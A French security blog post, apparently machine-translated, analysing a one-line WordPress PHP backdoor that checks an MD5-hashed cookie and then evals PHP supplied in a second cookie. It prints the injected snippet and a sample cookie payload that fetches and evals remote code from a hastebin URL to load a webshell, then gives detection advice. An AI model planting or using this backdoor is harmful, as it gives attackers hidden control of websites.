Évaluation des cookies pour masquer les portes dérobées

Identifier les portes dérobées d’un site Web n’est pas toujours une tâche facile. Étant donné qu’une fonction principale des portes dérobées est de se cacher tout en fournissant un accès non autorisé, elles sont souvent développées à l’aide de diverses techniques qui peuvent rendre leur détection difficile.

Par exemple, un attaquant peut injecter une seule ligne de code contenant moins de 130 caractères dans un fichier de site Web. Bien que cela puisse sembler peu de code, cette courte chaîne peut être utilisée pour charger des shells Web PHP sur votre site Web au gré de l’attaquant – tout en empêchant les visiteurs et les administrateurs du site Web de détecter le comportement malveillant. Alors, comment cela se fait-il ?

Exécution de code PHP $ _COOKIE

En enquêtant sur un incident récent, nous sommes tombés sur un court extrait d’injection de code injecté

si (md5 ($ _ COOKIE[‘woofig’]) == « 393c853c183af6327116dd773b8f9c11 »)

$ _COOKIE[‘wp_config’] . = ‘;’;

eval ($ _ COOKIE[‘wp_config’]);

sortie;

L’attaquant doit l’ajouter à tout fichier qui se charge avec le site Web – par exemple, quelque chose comme wp-load.php ou un fichier de thème / plugin actif serait une option idéale pour les sites Web WordPress.

Le fonctionnement du code malveillant est simple. L’attaquant fournit une requête avec deux cookies séparés – woofig et wp_config – qui s’exécute ensuite de la manière suivante:

  1. Le code vérifie la demande entrante pour un cookie HTTP avec le nom woofig
  2. Si elle existe, une valeur de hachage MD5 est générée à partir de son contenu et comparée à une valeur de hachage existante (393c853c183af6327116dd773b8f9c11). Si les hachages sont différents, le code ne continue pas. C’est similaire à un mot de passe
  3. Le code procède à la vérification de la même requête HTTP pour un deuxième cookie nommé wp_config qui contient du code PHP formaté et utilise évaluer pour l’exécuter

Les cookies HTTP doivent généralement être sous ~ 4096 octets, donc l’attaquant est limité dans le nombre de caractères qu’il peut utiliser pour son code PHP dans le wp_config biscuit. Par défaut, les journaux d’accès HTTP n’enregistrent pas les données des cookies des visiteurs, car cela ajoute beaucoup de surcharge à la taille du journal, nous ne savons donc pas ce que l’attaquant a utilisé dans cette instance.

Exemple de construction de cookie

J’ai construit le mien wp_config cookie pour montrer comment un attaquant pourrait l’utiliser. Le code PHP est ajouté comme valeur du cookie:

eval (file_get_contents (« https: // hastebin[.]com / raw / hajopeliku « ))

En utilisant file_get_contents pour récupérer des données à partir de l’URL hastebin, le PHP de ce cookie exploite alors le évaluer fonction pour exécuter du code PHP supplémentaire à partir du contenu récupéré.

Cette technique permet à l’attaquant de charger sélectivement le Webshell via n’importe quelle page WordPress du site Web. Il suffit à l’attaquant d’ajouter les deux cookies woofig et wp_config à leur demande et le webshell se chargera, fonctionnant à partir de la mémoire et non réellement stocké dans un fichier. Le seul malware qui a été réellement ajouté au site Web est une seule ligne de code PHP qui effectue le contrôle conditionnel sur le cookie woofig avant d’évaluer le code dans le cookie wp_config.

Pour les besoins de cette démonstration, j’ai ajouté ce court exemple PHP à wp-load.php. Le voici en action:

Voici une brève procédure pas à pas pour vous aider à comprendre ce qui se passe:

  1. Je charge le site Web sans que les cookies soient activés, ce qui charge une page de site Web WordPress normale
  2. J’utilise les outils du navigateur pour activer les deux cookies woofig et wp_config
  3. Le webshell PHP se charge
  4. J’édite un fichier, démontrant clairement la fonctionnalité malveillante
  5. Une fois terminé, je désactive les cookies et actualise la page
  6. Le site Web revient au comportement attendu et charge la page WordPress habituelle

Étant donné que ce court extrait de code malveillant est une porte dérobée PHP, il est préférable de le détecter à l’aide d’un scanner côté serveur capable d’identifier le fichier. Vous pouvez également utiliser un plugin WordPress pour rechercher les modifications apportées à vos fichiers de base WordPress, qui ne devraient normalement pas être modifiés sauf pendant les mises à jour.

Si vous pensez que votre site a été infecté par une porte dérobée et que vous avez besoin d’un coup de main pour le nettoyer, nous sommes là pour vous aider.

Tags: ,